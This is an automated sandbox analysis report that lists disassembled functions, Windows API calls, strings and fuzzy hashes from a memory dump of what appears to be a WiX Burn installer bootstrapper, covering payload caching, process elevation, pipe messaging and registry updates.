apply.cpp, xrefs: 009C9D3D, 009C9D81, 009C9DBA

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorFileLast$AttributesCopy
String ID: BA aborted copy of payload from: '%ls' to: %ls.$Failed attempt to copy payload from: '%ls' to: %ls.$Failed to clear readonly bit on payload destination path: %ls$apply.cpp$copy
API String ID: 1969131206-836986073
Opcode ID: ae65d58e8cd68447a634c2a19dde40362083dc78d10c87ef203cbde7850c6cef
Instruction ID: b84f510a534d903bd1a39407eb287537bbe43202e740fcb7963440daff2c9296
Opcode Fuzzy Hash: ae65d58e8cd68447a634c2a19dde40362083dc78d10c87ef203cbde7850c6cef
Instruction Fuzzy Hash: 80310672F41225B7DB209B968C49F7B77ACAF81B25B14815CBD19EF291D624CD00C7E2

Function 009B8EBC Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 126COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000,?,00000001,80000005,?,00000000,00000000,00000000,00000003,000007D0), ref: 009B9007

Strings

Failed to allocate access for Everyone group to path: %ls, xrefs: 009B8F51
Failed to allocate access for Administrators group to path: %ls, xrefs: 009B8F0F
Failed to allocate access for Users group to path: %ls, xrefs: 009B8F72
Failed to create ACL to secure cache path: %ls, xrefs: 009B8FBB
Failed to allocate access for SYSTEM group to path: %ls, xrefs: 009B8F30
Failed to secure cache path: %ls, xrefs: 009B8FEA
cache.cpp, xrefs: 009B8FB0

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: FreeLocal
String ID: Failed to allocate access for Administrators group to path: %ls$Failed to allocate access for Everyone group to path: %ls$Failed to allocate access for SYSTEM group to path: %ls$Failed to allocate access for Users group to path: %ls$Failed to create ACL to secure cache path: %ls$Failed to secure cache path: %ls$cache.cpp
API String ID: 2826327444-4113288589
Opcode ID: 9feeac5f7d953cafc1162f9fae3ac08ad7508c5e077d3fd289ea2b90487f6963
Instruction ID: 5a58fd67a85636ae9b1976479ea5e6cd409e74f7c9a912dd08aadaae7db6d647
Opcode Fuzzy Hash: 9feeac5f7d953cafc1162f9fae3ac08ad7508c5e077d3fd289ea2b90487f6963
Instruction Fuzzy Hash: AF41D532A4432DB7DB2196548D06FFBB66DEB89B20F114064FB04BA181DF71AE44C7E1

Function 009B492F Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 117fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,crypt32.dll,00000008,?,00000000,?,00000000,00000000,crypt32.dll,00000000,?,?,?,00000000,?,00000000), ref: 009B495A
GetLastError.KERNEL32 ref: 009B4967
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,00000000), ref: 009B4A12
GetLastError.KERNEL32 ref: 009B4A1C

Strings

Failed to allocate data for message., xrefs: 009B49D0
Failed to read message from pipe., xrefs: 009B49E7
Failed to read data for message., xrefs: 009B4A4A
pipe.cpp, xrefs: 009B49C6, 009B49DD, 009B4A40
crypt32.dll, xrefs: 009B4956

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorFileLastRead
String ID: Failed to allocate data for message.$Failed to read data for message.$Failed to read message from pipe.$crypt32.dll$pipe.cpp
API String ID: 1948546556-773887359
Opcode ID: 0b405f228f847ecdb4199a568ae71528d1c041f1e7eef8f5178f1649c4e659ea
Instruction ID: 86a75ab49380a205e0067ec4e9ef38a6305ffa883ff6a007cd39d14b89ae73f4
Opcode Fuzzy Hash: 0b405f228f847ecdb4199a568ae71528d1c041f1e7eef8f5178f1649c4e659ea
Instruction Fuzzy Hash: 5131F532E84229ABDB209A958E45BFBB76CBB44B31F108125FD50A6142D7749D50ABD0

Function 009E6C29 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 114COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(0000007F,00000000,00000000,000000FF,name,000000FF,00000000,00000000,00000000,?,74DEDFD0), ref: 009E6C88
CompareStringW.KERNEL32(0000007F,00000000,00000000,000000FF,email,000000FF), ref: 009E6CA5
SysFreeString.OLEAUT32(00000000), ref: 009E6CE3
SysFreeString.OLEAUT32(00000000), ref: 009E6D27

Strings

name, xrefs: 009E6C7A
email, xrefs: 009E6C97
`<u, xrefs: 009E6CE3, 009E6D27
uri, xrefs: 009E6CB3

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: String$CompareFree
String ID: `<u$email$name$uri
API String ID: 3589242889-1197142144
Opcode ID: 72d79d38923e29c43ede93e4925da576a54880eb2b9b845a1353f1c5594fa959
Instruction ID: 749d85f18bae0fb899a32996a0153a7f6c6d6c98de758beb11c3ddd89f4b2ad7
Opcode Fuzzy Hash: 72d79d38923e29c43ede93e4925da576a54880eb2b9b845a1353f1c5594fa959
Instruction Fuzzy Hash: B341AF31A05259BBCB129B95CD45FAEBB78EF14365F3042A4EA60AB1E1C7319E40DB50

Function 009BE2AF Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 104windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(?,00000001), ref: 009BE2E5
GetLastError.KERNEL32 ref: 009BE2F1
GetObjectW.GDI32(00000000,00000018,?), ref: 009BE338
GetCursorPos.USER32(?), ref: 009BE359
MonitorFromPoint.USER32(?,?,00000002), ref: 009BE36B
GetMonitorInfoW.USER32(00000000,?), ref: 009BE381

Strings

(, xrefs: 009BE378
Failed to load splash screen bitmap., xrefs: 009BE31F
splashscreen.cpp, xrefs: 009BE315

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Monitor$BitmapCursorErrorFromInfoLastLoadObjectPoint
String ID: ($Failed to load splash screen bitmap.$splashscreen.cpp
API String ID: 2342928100-598475503
Opcode ID: ffb1137a2ae637e4dae8b1b7761191d8b8f824c8ed766b37a70d7d9035b77d1c
Instruction ID: 738615ecb3c6554a845d6259893556cbf6a7a9deef509030ffb6bb8cc3888660
Opcode Fuzzy Hash: ffb1137a2ae637e4dae8b1b7761191d8b8f824c8ed766b37a70d7d9035b77d1c
Instruction Fuzzy Hash: 04314175A01219AFDB10DFB9D989BDEBBF8EF08711F148115F904EB285DB70E9008BA0

Function 009B50CA Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 84COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,?,?,009EB500), ref: 009B50D3
GetProcessId.KERNEL32(000000FF,?,?,open,00000000,00000000,?,000000FF,?,?), ref: 009B5171
CloseHandle.KERNEL32(00000000), ref: 009B518A

Strings

burn.elevated, xrefs: 009B50F3
open, xrefs: 009B513B, 009B5149
Failed to launch elevated child process: %ls, xrefs: 009B515E
Failed to allocate parameters for elevated process., xrefs: 009B510C
runas, xrefs: 009B5131
-q -%ls %ls %ls %u, xrefs: 009B50F8

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Process$CloseCurrentHandle
String ID: -q -%ls %ls %ls %u$Failed to allocate parameters for elevated process.$Failed to launch elevated child process: %ls$burn.elevated$open$runas
API String ID: 2815245435-1352204306
Opcode ID: 6afcbaaa417b574b42978629c0316bb7eabfcaf4d08a8fd0e959cd473c4a66e4
Instruction ID: 3731d7f74b16fcf9f02c5ae56a4a2e28e61b82c8519992f4e3fe06c920dd9958
Opcode Fuzzy Hash: 6afcbaaa417b574b42978629c0316bb7eabfcaf4d08a8fd0e959cd473c4a66e4
Instruction Fuzzy Hash: 53217A71D0460DBF8F129F98CD85AEEBBB8EF48364B11816AFA10A6211D7719E509B90

Function 009A6882 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 75libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(msi,DllGetVersion), ref: 009A68AC
GetProcAddress.KERNEL32(00000000), ref: 009A68B3
GetLastError.KERNEL32 ref: 009A68BD

Strings

Failed to set variant value., xrefs: 009A6929
msi, xrefs: 009A68A3
Failed to find DllGetVersion entry point in msi.dll., xrefs: 009A68EB
variable.cpp, xrefs: 009A68E1
Failed to get msi.dll version info., xrefs: 009A6905
DllGetVersion, xrefs: 009A689E

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AddressErrorHandleLastModuleProc
String ID: DllGetVersion$Failed to find DllGetVersion entry point in msi.dll.$Failed to get msi.dll version info.$Failed to set variant value.$msi$variable.cpp
API String ID: 4275029093-842451892
Opcode ID: d0abda12a6fd15d2c9604fd11c6c7a5943f817fa0e92e1771241c65346d41a55
Instruction ID: 1c3774cd9beda6172ef3578edb22d6794a699c59e70b84741e86c970743051db
Opcode Fuzzy Hash: d0abda12a6fd15d2c9604fd11c6c7a5943f817fa0e92e1771241c65346d41a55
Instruction Fuzzy Hash: 7F11DA72E41679B6D721ABBD8C42A7F7798AB85710F010519FE01FB181D6799C0082E1

Function 009AD6C9 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 65libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000008,00000000,?,009A47FE,00000000,00000000,wininet.dll,?,00000000,00000000,?,?,009A548E,?), ref: 009AD6DA
GetLastError.KERNEL32(?,009A47FE,00000000,00000000,wininet.dll,?,00000000,00000000,?,?,009A548E,?,?), ref: 009AD6E7
GetProcAddress.KERNEL32(00000000,BootstrapperApplicationCreate), ref: 009AD71F
GetLastError.KERNEL32(?,009A47FE,00000000,00000000,wininet.dll,?,00000000,00000000,?,?,009A548E,?,?), ref: 009AD72B

Strings

userexperience.cpp, xrefs: 009AD708, 009AD74C
BootstrapperApplicationCreate, xrefs: 009AD719
Failed to load UX DLL., xrefs: 009AD712
Failed to get BootstrapperApplicationCreate entry-point, xrefs: 009AD756
Failed to create UX., xrefs: 009AD76F

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$AddressLibraryLoadProc
String ID: BootstrapperApplicationCreate$Failed to create UX.$Failed to get BootstrapperApplicationCreate entry-point$Failed to load UX DLL.$userexperience.cpp
API String ID: 1866314245-2276003667
Opcode ID: 2d94ad2c7dd6448190310ba2971360e42ee40bb1af50a85792e13efaf50a3e6a
Instruction ID: 74e4e6bf9243faef2f0d593f7298223a6f8341d1c5c0897c556d8266b9ae5d55
Opcode Fuzzy Hash: 2d94ad2c7dd6448190310ba2971360e42ee40bb1af50a85792e13efaf50a3e6a
Instruction Fuzzy Hash: E1113AB7A82772A7CB3646964C15F1B7A94BF46B21F014926FE12FB6C0DB20EC0086D0

Function 009A1175 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 53libraryloadermemoryCOMMON

Download Yara Rule

APIs

HeapSetInformation.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,?,?,009A111A,cabinet.dll,00000009,?,?,00000000), ref: 009A1186
GetModuleHandleW.KERNEL32(kernel32,?,?,?,?,?,009A111A,cabinet.dll,00000009,?,?,00000000), ref: 009A1191
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 009A119F
GetLastError.KERNEL32(?,?,?,?,?,009A111A,cabinet.dll,00000009,?,?,00000000), ref: 009A11BA
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 009A11C2
GetLastError.KERNEL32(?,?,?,?,?,009A111A,cabinet.dll,00000009,?,?,00000000), ref: 009A11D7

Strings

kernel32, xrefs: 009A118C
SetDllDirectoryW, xrefs: 009A11BC
SetDefaultDllDirectories, xrefs: 009A1199

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AddressErrorLastProc$HandleHeapInformationModule
String ID: SetDefaultDllDirectories$SetDllDirectoryW$kernel32
API String ID: 3104334766-1824683568
Opcode ID: b3e0516ce1faae200286317241fcd7e8649f8dedd5398e841cc0428cce2a4f53
Instruction ID: 181a59a51a5cbe434fdd13c8ceb50157e347811c0c9bfde3cbd4ba9740648657
Opcode Fuzzy Hash: b3e0516ce1faae200286317241fcd7e8649f8dedd5398e841cc0428cce2a4f53
Instruction Fuzzy Hash: 2001B531208256BB9B116BA79C45D6F7B5CFB82765B004011FA1596150EB70EE01DBF0

Function 009BF639 Relevance: 15.2, APIs: 2, Strings: 8, Instructions: 155COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 009BF64E
LeaveCriticalSection.KERNEL32(?), ref: 009BF7C9

Strings

Failed to set download password., xrefs: 009BF777
UX did not provide container or payload id., xrefs: 009BF7B8
Engine is active, cannot change engine state., xrefs: 009BF668
UX requested unknown payload with id: %ls, xrefs: 009BF6A3
Failed to set download user., xrefs: 009BF751
Failed to set download URL., xrefs: 009BF728
UX denied while trying to set download URL on embedded payload: %ls, xrefs: 009BF6B9
UX requested unknown container with id: %ls, xrefs: 009BF6F3

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: Engine is active, cannot change engine state.$Failed to set download URL.$Failed to set download password.$Failed to set download user.$UX denied while trying to set download URL on embedded payload: %ls$UX did not provide container or payload id.$UX requested unknown container with id: %ls$UX requested unknown payload with id: %ls
API String ID: 3168844106-2615595102
Opcode ID: 201b4d80054cb45f9737bd03662e14f75d830d791e66c7e194019db31df9aa0e
Instruction ID: d69f3c0cbc3ae332b69a742def5acba327a9897973040b5dcf234b515422c459
Opcode Fuzzy Hash: 201b4d80054cb45f9737bd03662e14f75d830d791e66c7e194019db31df9aa0e
Instruction Fuzzy Hash: A541F67260461AEBCB219B24CD95FAAB3A8AF40730B1541B6F814EB251EF75DC40C791

Function 009E5A5E Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 196filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(000000FF,C0000000,00000004,00000000,00000004,00000080,00000000,00000000,00000000,00000000,00000078,00000410,000000FF,?,00000000,00000000), ref: 009E5A9B
GetLastError.KERNEL32 ref: 009E5AA9
VirtualAlloc.KERNEL32(00000000,00010000,00003000,00000004), ref: 009E5AEA
GetLastError.KERNEL32 ref: 009E5AF7
VirtualFree.KERNEL32(?,00000000,00008000), ref: 009E5C6A
CloseHandle.KERNEL32(?), ref: 009E5C79

Strings

GET, xrefs: 009E5B9E
dlutil.cpp, xrefs: 009E5ACD

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLastVirtual$AllocCloseCreateFileFreeHandle
String ID: GET$dlutil.cpp
API String ID: 2028584396-3303425918
Opcode ID: d3469805e9894dca3423beffcb1e410ba0d706798dbe22e12d1f4ddf421b6429
Instruction ID: 8944c0a21f5e5f660ea55b7d9de759382c5873dc6efb4bd59da6977995eb4a52
Opcode Fuzzy Hash: d3469805e9894dca3423beffcb1e410ba0d706798dbe22e12d1f4ddf421b6429
Instruction Fuzzy Hash: 67616E71A0065DABDB12CFA6CC85BEE7BB8AF48758F164119FE14B7250D734DD408B90

Function 009B0C50 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 183COMMON

Download Yara Rule

APIs

Part of subcall function 009B1020: CompareStringW.KERNEL32(00000000,00000000,feclient.dll,000000FF,00000000,000000FF,00000000,00000000,?,?,009B0C6F,?,00000000,?,00000000,00000000), ref: 009B104F

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,00000000,?,00000000,?,00000000,00000001,?,?,00000000,?,00000000), ref: 009B0DF3
GetLastError.KERNEL32 ref: 009B0E00

Strings

Failed to create syncpoint event., xrefs: 009B0E2E
Failed to append cache action., xrefs: 009B0D4A
Failed to append rollback cache action., xrefs: 009B0CCF
Failed to append package start action., xrefs: 009B0C95
plan.cpp, xrefs: 009B0E24
Failed to append payload cache action., xrefs: 009B0DAA

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CompareCreateErrorEventLastString
String ID: Failed to append cache action.$Failed to append package start action.$Failed to append payload cache action.$Failed to append rollback cache action.$Failed to create syncpoint event.$plan.cpp
API String ID: 801187047-2489563283
Opcode ID: 706c99178198d413db67b1b58dd32f0a82cdeb44e6a4fb7f6b83e388c7d685ee
Instruction ID: 3a8f5b574c20af72f4b857c926286468a1573d1446c5a194f75dd6a493428b1e
Opcode Fuzzy Hash: 706c99178198d413db67b1b58dd32f0a82cdeb44e6a4fb7f6b83e388c7d685ee
Instruction Fuzzy Hash: BF619D75500609EFCB05DF58CA80AABBBF9FFC4320F21845AE9099B251EB31EE41DB50

Function 009E6EFF Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 159COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(0000007F,00000000,74DEDFD0,000000FF,type,000000FF,?,74DEDFD0,74DEDFD0,74DEDFD0), ref: 009E6F55
SysFreeString.OLEAUT32(00000000), ref: 009E6FA0
SysFreeString.OLEAUT32(00000000), ref: 009E701C
SysFreeString.OLEAUT32(00000000), ref: 009E7068

Strings

url, xrefs: 009E6F68
type, xrefs: 009E6F47
`<u, xrefs: 009E6FA0, 009E701C, 009E7068

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: String$Free$Compare
String ID: `<u$type$url
API String ID: 1324494773-1686489133
Opcode ID: e2b4a8673e9e08165e4c7b07b6148c37dfedf284e15372501e195aba42435862
Instruction ID: 182acb81c29202c2bc02c83cbeb7d8a6f68d708212f3049ab7c05f80b43f6cc9
Opcode Fuzzy Hash: e2b4a8673e9e08165e4c7b07b6148c37dfedf284e15372501e195aba42435862
Instruction Fuzzy Hash: 63515D35905259FFCB26DFA5C884FAEBBB8AF04321F1446A9E511EB1A1D7319E00DB50

Function 009B05A2 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 133registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000001,00000000,?,?,00020006,00000000,?,009EB500,00000000,?), ref: 009B06D3
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000001,00000000,?,?,00020006,00000000,?,009EB500,00000000,?), ref: 009B06E2

Part of subcall function 009E0BE9: RegCreateKeyExW.ADVAPI32(00000001,00000000,00000000,00000000,00000000,00000001,00000000,?,00000000,00000001,?,?,009B061A,?,00000000,00020006), ref: 009E0C0E

Strings

%ls.RebootRequired, xrefs: 009B05F0
Failed to open registration key., xrefs: 009B071A
Failed to update resume mode., xrefs: 009B06B7
Failed to write volatile reboot required registry key., xrefs: 009B061E
Failed to delete registration key: %ls, xrefs: 009B0681
crypt32.dll, xrefs: 009B05AC

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Close$Create
String ID: %ls.RebootRequired$Failed to delete registration key: %ls$Failed to open registration key.$Failed to update resume mode.$Failed to write volatile reboot required registry key.$crypt32.dll
API String ID: 359002179-3398658923
Opcode ID: 069f65febce66e2fe90c7b140418cc0665d5d57c9d817ab1a9bdfb98cabaa96c
Instruction ID: 56db816a5efc699dd16df23c352d443f5344a8544499756620e33e68bdab4560
Opcode Fuzzy Hash: 069f65febce66e2fe90c7b140418cc0665d5d57c9d817ab1a9bdfb98cabaa96c
Instruction Fuzzy Hash: 3B418031800618FBDF22AEA1DE06FEF7BBAAFC0324F104519F51562161D7719A60DB91

Function 009AF451 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 109stringCOMMON

Download Yara Rule

APIs

_MREFOpen@16.MSPDB140-MSVCRT ref: 009AF48A

Part of subcall function 009A4115: CreateDirectoryW.KERNELBASE(?,840F01E8,00000000,00000000,?,009BA0E8,00000000,00000000,?,00000000,009A53BD,00000000,?,?,009AD5B5,?), ref: 009A4123
Part of subcall function 009A4115: GetLastError.KERNEL32(?,009BA0E8,00000000,00000000,?,00000000,009A53BD,00000000,?,?,009AD5B5,?,00000000,00000000), ref: 009A4131

lstrlenA.KERNEL32(009EB500,00000000,00000094,00000000,00000094,?,?,009B04BF,swidtag,00000094,?,009EB518,009B04BF,00000000,?,00000000), ref: 009AF4DD

Part of subcall function 009E4DB3: CreateFileW.KERNEL32(009EB500,40000000,00000001,00000000,00000002,00000080,00000000,009B04BF,00000000,?,009AF4F4,?,00000080,009EB500,00000000), ref: 009E4DCB
Part of subcall function 009E4DB3: GetLastError.KERNEL32(?,009AF4F4,?,00000080,009EB500,00000000,?,009B04BF,?,00000094,?,?,?,?,?,00000000), ref: 009E4DD8

Strings

Failed to format tag folder path., xrefs: 009AF543
Failed to allocate regid folder path., xrefs: 009AF53C
Failed to write tag xml to file: %ls, xrefs: 009AF51B
Failed to create regid folder: %ls, xrefs: 009AF525
Failed to allocate regid file path., xrefs: 009AF535
swidtag, xrefs: 009AF49D

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CreateErrorLast$DirectoryFileOpen@16lstrlen
